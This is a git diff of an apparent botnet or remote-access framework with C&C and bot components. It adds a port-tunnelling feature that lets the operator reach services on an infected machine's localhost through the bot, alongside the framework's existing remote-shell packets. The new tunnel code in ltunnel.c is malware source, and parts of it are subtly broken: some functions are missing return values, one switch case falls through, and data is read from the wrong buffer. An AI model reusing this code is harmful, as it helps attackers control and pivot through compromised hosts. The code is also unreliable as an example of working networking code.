diff --git a/.vscode/settings.json b/.vscode/settings.json index 9fd6aaa..df264a9 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -28,7 +28,8 @@ "lerror.h": "c", "stdbool.h": "c", "alloca.h": "c", - "bot.h": "c" + "bot.h": "c", + "string_view": "c" }, "cSpell.words": [ "cnc's", diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 17e0c21..be016c7 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -188,7 +188,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { cnc->authPeersCount = 0; /* init socket & pollList */ - laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); + laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */ laikaP_initPList(&cnc->pList); /* bind sock to port */ diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index de7e6c2..0e298c6 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -53,6 +53,30 @@ enum { /* layout of LAIKAPKT_HANDSHAKE_RES: * uint8_t cncEndian; */ + LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */ + /* layout of LAIKAPKT_TUNNEL_OPEN: + * uint16_t port; + */ + LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */ + /* layout of LAIKAPKT_TUNNEL_CLOSE: + * uint16_t port; + */ + LAIKAPKT_TUNNEL_CONNECTION_ADD, + /* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD: + * uint16_t port; + * uint16_t id; + */ + LAIKAPKT_TUNNEL_CONNECTION_RMV, + /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: + * uint16_t port; + * uint16_t id; + */ + LAIKAPKT_TUNNEL_CONNECTION_DATA, + /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: + * uint16_t port; + * uint16_t id; + * uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id + */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ /* layout of LAIKAPKT_SHELL_OPEN: * uint16_t cols; diff --git a/lib/include/ltunnel.h b/lib/include/ltunnel.h new file mode 100644 index 0000000..c466a37 --- /dev/null +++ b/lib/include/ltunnel.h @@ -0,0 +1,34 @@ +#ifndef SHELLTUNNEL_H +#define SHELLTUNNEL_H + +#include + +#include "lmem.h" +#include "lsocket.h" +#include "lpeer.h" +#include "lpolllist.h" + +struct sLaika_tunnel; +struct sLaika_tunnelConnection { + struct sLaika_socket sock; + struct sLaika_tunnel *tunnel; + struct sLaika_tunnelConnection *next; + uint16_t id; +}; + +struct sLaika_tunnel { + struct sLaika_tunnelConnection *connectionHead; + struct sLaika_peer *peer; + uint16_t port; +}; + +struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port); +void laikaT_freeTunnel(struct sLaika_tunnel *tunnel); + +struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id); +void laikaT_freeConnection(struct sLaika_tunnelConnection *connection); + +void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz); +struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id); + +#endif \ No newline at end of file diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index ceb986a..2afce30 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -5,7 +5,13 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) { struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); - laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail, onPollFailUData); + laikaS_initSocket(&peer->sock, + laikaS_handlePeerIn, + laikaS_handlePeerOut, + onPollFail, + onPollFailUData + ); + peer->packetTbl = pktTbl; peer->pList = pList; peer->uData = uData; @@ -150,7 +156,6 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) { bool laikaS_handlePeerIn(struct sLaika_socket *sock) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; - RAWSOCKCODE err; int recvd; switch (peer->pktID) { @@ -229,7 +234,6 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) { bool laikaS_handlePeerOut(struct sLaika_socket *sock) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; - RAWSOCKCODE err; int sent; if (peer->sock.outCount == 0) /* sanity check */ diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 2a0680f..9e33ed5 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -30,7 +30,7 @@ void laikaS_init(void) { void laikaS_cleanUp(void) { if (--_LNSetup > 0) - return; /* WSA still needs to be up, a FoxNet peer is still using it */ + return; /* WSA still needs to be up, a socket is still running */ #ifdef _WIN32 WSACleanup(); @@ -119,6 +119,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { socklen_t addressSize; struct sockaddr_in address; + int opt = 1; if (!SOCKETINVALID(sock->sock)) LAIKA_ERROR("socket already setup!\n"); @@ -129,7 +130,6 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { LAIKA_ERROR("socket() failed!\n"); /* attach socket to the port */ - int opt = 1; #ifdef _WIN32 if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0) #else @@ -279,7 +279,7 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) { RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) { RAWSOCKCODE errCode = RAWSOCK_OK; - int rcvd, start = sock->inCount; + int i, rcvd, start = sock->inCount; /* sanity check */ if (sz == 0) @@ -302,7 +302,6 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed } else if (rcvd > 0) { #ifdef DEBUG /* for debugging */ - int i; printf("---recv'd %d bytes---\n", rcvd); for (i = 1; i <= rcvd; i++) { printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]); diff --git a/lib/src/ltunnel.c b/lib/src/ltunnel.c new file mode 100644 index 0000000..af41c18 --- /dev/null +++ b/lib/src/ltunnel.c @@ -0,0 +1,168 @@ +#include "lmem.h" +#include "lpeer.h" +#include "lpacket.h" +#include "lpolllist.h" +#include "ltunnel.h" + +struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) { + struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel)); + + tunnel->port = port; + tunnel->peer = peer; + tunnel->connectionHead = NULL; +} + +void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) { + struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last; + struct sLaika_socket *sock = &tunnel->peer->sock; + + /* free & close connections */ + while (con != NULL) { + last = con; + con = con->next; + + /* free connection */ + laikaT_freeConnection(last); + } + + /* tell peer tunnel is closed */ + laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE); + laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t)); + laikaS_endOutPacket(tunnel->peer); + + /* finally, free the tunnel */ + laikaM_free(tunnel); +} + +bool laikaT_handlePeerIn(struct sLaika_socket *sock) { + struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock; + struct sLaika_tunnel *tunnel = con->tunnel; + struct sLaika_peer *peer = tunnel->peer; + int recvd; + + /* read data */ + switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */ + case RAWSOCK_OK: /* we're ok! forward data to peer */ + laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA); + laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t)); + laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t)); + + /* write data we just read, from sock's inBuf to sock's out */ + laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd); + laikaS_consumeRead(&peer->sock, recvd); + + /* end variadic packet */ + laikaS_endVarPacket(peer); + default: /* panic! */ + case RAWSOCK_CLOSED: + case RAWSOCK_ERROR: + return false; + } +} + +bool laikaT_handlePeerOut(struct sLaika_socket *sock) { + struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock; + struct sLaika_peer *peer = con->tunnel->peer; + int sent; + + if (peer->sock.outCount == 0) /* sanity check */ + return true; + + switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) { + case RAWSOCK_OK: /* we're ok! */ + /* if POLLOUT was set, unset it */ + laikaP_rmvPollOut(peer->pList, &con->sock); + + return true; + case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */ + /* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */ + laikaP_addPollOut(peer->pList, &con->sock); + + return true; + default: /* panic! */ + case RAWSOCK_CLOSED: + case RAWSOCK_ERROR: + return false; + } + +} + +void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) { + struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock; + + /* kill connection on failure */ + laikaT_freeConnection(con); +} + +struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) { + struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL; + + /* we handle the socket events */ + laikaS_initSocket(&con->sock, + laikaT_handlePeerIn, + laikaT_handlePeerOut, + laikaT_onPollFail, + NULL + ); + + con->tunnel = tunnel; + con->next = NULL; + con->id = id; + + /* insert into connection list */ + if (tunnel->connectionHead == NULL) { + tunnel->connectionHead = con; + return con; + } else { + last = tunnel->connectionHead; + tunnel->connectionHead = con; + con->next = last; + } +} + +void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) { + struct sLaika_tunnel *tunnel = connection->tunnel; + struct sLaika_tunnelConnection *curr, *last = NULL; + + curr = tunnel->connectionHead; + /* while we haven't reached the end of the list & we haven't found our connection */ + while (curr && curr != connection) { + last = curr; + curr = curr->next; + } + + if (last) { + /* unlink from list */ + last->next = connection->next; + } else { /* connectionHead was NULL, or connection *was* the connectionHead. */ + tunnel->connectionHead = NULL; + } + + /* tell peer connection is removed */ + laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV); + laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t)); + laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t)); + laikaS_endOutPacket(tunnel->peer); + + /* finally, free our connection */ + laikaS_kill(&connection->sock); +} + +void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) { + struct sLaika_tunnel *tunnel = connection->tunnel; + + /* write data to socket, push to pollList's out queue */ + laikaS_write(&connection->sock, data, sz); + laikaP_pushOutQueue(pList, &connection->sock); +} + +struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) { + struct sLaika_tunnelConnection *curr = tunnel->connectionHead; + + /* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */ + while (curr && curr->id != id) + curr = curr->next; + + /* returns NULL if not found, or the found connection :) */ + return curr; +} \ No newline at end of file